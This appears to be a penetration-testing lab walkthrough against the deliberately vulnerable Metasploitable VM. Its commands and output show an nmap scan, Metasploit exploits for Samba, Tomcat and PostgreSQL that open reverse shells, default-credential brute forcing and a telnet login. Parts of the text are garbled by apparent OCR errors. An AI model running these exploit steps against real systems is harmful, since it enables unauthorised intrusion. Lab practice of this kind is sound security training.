metasploitable 1 walkthrough

nmap is a great tool for scanning ports and finding network services on a machine.

We will run nmap:

```
(root@ kali)=[~]
    mmap 192.168.0.106
Starting Nmap 7.945VN ( https://nmap.org ) at 2024-11-01 23:49 IST
Nmap scan report for 192.168.0.106
Host is up (0.0026s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open microsoft-ds
3306/tcp open microsoft-ds
3306/tcp open postgresql
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 00:0C:29:C4:1B:DB (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
```

Exploitation and Privilege Escalation

1] Samba

- msf > use exploit/multi/samba/usermap_script
- msf exploit(usermap_script) > show options
- > Set rhost 192.168.0.106

```
msfconsole -q
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/sumba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
                Current Setting Required Description
                                                The local client port
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
    CPORT
    Proxies
    RHOSTS
    RPORT 139
    Name Current Setting Required Description
    LHOST 192.168.0.105 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
   LPORT 4444
Exploit target:
    Id Name
    0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(
rhosts ⇒ 192.168.0.106

msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.0.105:4444
[*] Command shell session 1 opened (192.168.0.105:4444 → 192.168.0.106:52099) at 2024-11-01 23:54:45 +0530
whoami
```

2] Apache Tomcat

- msf > use exploit/multi/http/tomcat_mgr_deploy
- msf exploit(tomcat_mgr_deploy) > show options
- Set HtppPassword tomcat
- Set HttpUsername tomcat
- > Set RHOST 192.168.0.106
- Set target 0

```
msf6 > use exploit/multi/http/tomcat_mgr_deploy
 [*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat.mgr_deploy) > show options
msf6 exploit(
Module options (exploit/multi/http/tomcat_mgr_deploy):
                             Current Setting Required Description
                                                                            The password for the specified username
     HttpPassword
                                                                          The password for the specified username
The username to authenticate as
The URI path of the manager app (/deploy and /undeploy will be used)
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
Negotiate SSL/TLS for outgoing connections
HTTP server virtual host
                             /manager
     Proxies
     RHOSTS
                                                          yes
                             80
false
     RPORT
Payload options (java/meterpreter/reverse_tcp):
     Name Current Setting Required Description
     LHOST 192.168.0.105
LPORT 4444
                                                               The listen address (an interface may be specified) The listen port
Exploit target:
          Automatic
<u>msf6</u> exploit(<u>mttti/ntep/tomestampe</u>
HttpPassword ⇒ tomcat
HttpPassword ⇒ tomcat <u>man_doploy</u>) > set HttpUsername tomcat
msf6 exploit(
msf6 exploit(multi/http/tomcat_
HttpUsername ⇒ tomate (append
                                                     ngr_deploy) > set RHOSTS 192.168.0.106
<u>msf6</u> exploit(
RHOSTS ⇒ 192.168.0.106

msf6 exploit(multi/http/
                                                      m<mark>ar deploy</mark>) > set RPORT 8180
                                                     mer_deploy) > set target 0
msf6 exploit(
target ⇒ 0
<u>msf6</u> exploit(
      Attempting to automatically select a target ...
Automatically selected target "Linux x86"
Uploading 6230 bytes as y0e9GqN8dXtF2N8yAXLqkud49w.war ...
Executing /y0e9GqN8dXtF2N8yAXLqkud49w/81r5rkkYFKjanko5Pwuj.jsp ...
      Undeploying y0e96qNBdXtF2NByAXLqkud49w ...
Sending stage (57971 bytes) to 192.168.0.106
Meterpreter session 1 opened (192.168.0.105:4444 → 192.168.0.106:33154) at 2024-11-02 00:21:14 +0530
```

meterpreter >

```
meterpreter > ls
Listing: /
Mode
                  Size
                            Type
                                  Last modified
                                                               Name
040444/r--r-r--
                  4096
                            dir
                                  2010-03-17 04:41:30 +0530
                                                               bin
040444/r--r--r--
                  1024
                            dir
                                  2010-04-29 02:24:21 +0530
                                                               boot
040444/r--r--r--
                  4096
                            dir
                                  2010-03-17 04:25:51 +0530
                                                               cdrom
040444/r--r--r--
                   13900
                            dir
                                  2024-11-01 23:36:41 +0530
                                                               dev
040444/r--r--r--
                  4096
                            dir
                                  2024-11-01 23:36:40 +0530
                                                               etc
040444/r--r--r--
                  4096
                            dir
                                  2010-04-16 11:46:02 +0530
                                                               home
040444/r--r-r--
                  4096
                                  2010-03-17 04:27:40 +0530
                            dir
                                                               initrd
100444/r--r--r--
                  7933237
                            fil
                                  2010-03-17 04:42:25 +0530
                                                               initrd.img
040444/r--r--r--
                  4096
                            dir
                                  2010-04-28 09:40:44 +0530
                                                               lib
040000/-
                  16384
                            dir
                                  2010-03-17 04:25:15 +0530
                                                               lost+found
                  4096
                                  2010-03-17 04:25:52 +0530
040444/r--r--r--
                            dir
                                                               media
040444/r--r--r--
                  4096
                            dir
                                  2010-04-29 01:46:56 +0530
                                                               mnt
040444/r--r--r--
                  4096
                                  2010-03-17 04:27:39 +0530
                            dir
040444/r--r--r--
                  0
                            dir
                                  2024-11-01 23:35:20 +0530
                                                               proc
040444/r--r--r--
                  4096
                            dir
                                  2010-05-18 07:13:54 +0530
                                                               root
                  4096
                                  2010-03-24 03:24:16 +0530
040444/r--r-r--
                            dir
                                                               sbin
040444/r--r--r--
                  4096
                            dir
                                  2010-03-17 04:27:38 +0530
                                  2024-11-01 23:35:21 +0530
040444/r--r--r--
                  0
                            dir
                                                               svs
040666/rw-rw-rw-
                  4096
                            dir
                                  2024-11-02 00:21:18 +0530
                                                               tmp
040444/r--r--r--
                  4096
                            dir
                                  2010-04-28 09:36:37 +0530
                                                               usr
040444/r--r--r--
                  4096
                            dir
                                  2010-03-17 19:38:23 +0530
                                                               var
100444/r--r--r--
                            fil
                                  2008-04-10 22:25:41 +0530
                   1987288
                                                               vmlinuz
meterpreter >
```

3] PostgresLOGIN

- msf > use auxiliary/scanner/postgres/postgres_login
- msf exploit(postgres_login) > show options
- Set RHOSTS 192.168.0.106

```
<u>msf6</u> > use auxiliary/scanner/postgres/postgres_login
[≠] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(c<nner/postgres/postgres_login) > show options
Module options (auxiliary/scanner/postgres/postgres login):
                        Current Setting
                                                                                            Required Description
                                                                                                        Attempt to login with a blank username and password
Try blank passwords for all users
How fast to bruteforce, from 0 to 5
Create a new session for every successful login
The database to authenticate against
Try each user/password couple stored in the current database
Add all passwords in the current database to the list
Add all users in the current database to the list
Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
A specific password to authenticate with
File containing passwords, one per line
   ANONYMOUS_LOGIN false
BLANK_PASSWORDS false
BRUTEFORCE_SPEED 5
                                                                                            yes
no
yes
no
no
   CreateSession
DATABASE
                         false
   DB_ALL_CREDS false
DB_ALL_PASS false
DB_ALL_USERS false
DB_SKIP_EXISTING none
                        /usr/share/metasploit-framework/data/wordlists/postgre s_default_pass.txt \label{eq:control_state}
   PASS_FILE
                                                                                                         A proxy chain of format type:host:port[,type:host:port][...]
Set to true to see query result sets
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht
   Proxies
RETURN_ROWSET
                        true
                                                                                                        ml
The target port
Stop guessing when a credential works for a host
The number of concurrent threads (max one per host)
A specific username to authenticate as
File containing (space-separated) users and passwords, one pair per line
   RPORT
STOP_ON_SUCCESS
THREADS
   USERNAME
USERPASS FILE
                        /usr/share/metasploit-framework/data/wordlists/postgre no s_default_userpass.txt no current no s_default_user.txt true yes
                                                                                                        Try the username as the password for all users File containing users, one per line
                                                                                                        Whether to print output for all attempts
   VERBOSE
                                                                          res login) > set RHOSTS 192.168.0.106
msf6 auxiliary(
RHOSTS ⇒ 192.168.0.106
msf6 auxiliary(
[!] No active DB -- Credential data will not be saved!
        192.168.0.106:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
       192.168.0.106:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
192.168.0.106:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
192.168.0.106:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
        192.168.0.106:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
        192.168.0.106:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password) [+] 192.168.0.106:5432 - Login Successful: postgres:postgres@template1
        192.168.0.106:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
        192.168.0.106:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
       192.168.0.106:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
192.168.0.106:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
192.168.0.106:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
        192.168.0.106:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
        192.168.0.106:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
        192.168.0.106:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
192.168.0.106:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
192.168.0.106:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
        192.168.0.106:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
        192.168.0.106:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
       Scanned 1 of 1 hosts (100% complete)
        Bruteforce completed, 1 credential was successful.
        You can open a Postgres session with these credentials and CreateSession set to true
       Auxiliary module execution completed
```

4] Telnet

- > telnet 192.168.0.106
- Enter password and enter the victim machine

```
telnet 192.168.0.106
Trying 192.168.0.106...
Connected to 192.168.0.106.
Escape character is '^]'.
Ubuntu 8.04
metasploitable login: user
Password:
Last login: Sun Nov 10 08:18:46 EST 2024 from 192.168.0.105 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
user@metasploitable:~$ cd ...
user@metasploitable:/home$
user@metasploitable:/home$ ls
ftp msfadmin service user
user@metasploitable:/home$
```

5] PostgreSQL

- msf > use exploit/linux/postgres/postgres_payload
- msf exploit(postgres_payload) > show options
- > Set RHOSTS 192.168.0.106

```
msfconsole -q
msf6 > use exploit/linux/postgres/postgres_payload
Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(
                                                        id) > set payload linux/x86/meterpreter/reverse_tcp
payload ⇒ linux/x86/meterpreter/reverse_tcp
msf6 exploit(1

    show options

Module options (exploit/linux/postgres/postgres_payload):
          Current Setting Required Description
  VERBOSE false
                                  Enable verbose output
  Used when connecting via an existing SESSION:
          Current Setting Required Description
  Name
                                  The session to run this module on
  Used when making a new connection via RHOSTS:
           Current Setting Required Description
  Name
  DATABASE postgres
                                   The database to authenticate against
                                   The password for the specified username. Leave blank for a random password.
   PASSWORD postgres
                                   The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT
           5432
                                   The target port
The username to authenticate as
  USERNAME postgres
Payload options (linux/x86/meterpreter/reverse_tcp):
  Name
        Current Setting Required Description
  LHOST
                                The listen address (an interface may be specified)
  LPORT 4444
                                The listen port
Exploit target:
  Id Name
View the full module info with the info, or info -d command.
                    nostgres/postgres_payload) > set rhosts 192.168.0.104
msf6 exploit(
rhosts ⇒ 192.168.0.104
                                            oad) > set lhost 192.168.0.105
msf6 exploit(
lhost ⇒ 192.168.0.105
msf6 exploit(
[*] Started reverse TCP handler on 192.168.0.105:4444
[*] 192.168.0.104:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/kXJvIiYY.so, should be cleaned up automatically
* Sending stage (1017704 bytes) to 192.168.0.104
[*] Meterpreter session 1 opened (192.168.0.105:4444 \rightarrow 192.168.0.104:46916) at 2024-11-13 11:46:09 +0530
<u>meterpreter</u> > shell
Process 5544 created.
Channel 1 created.
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```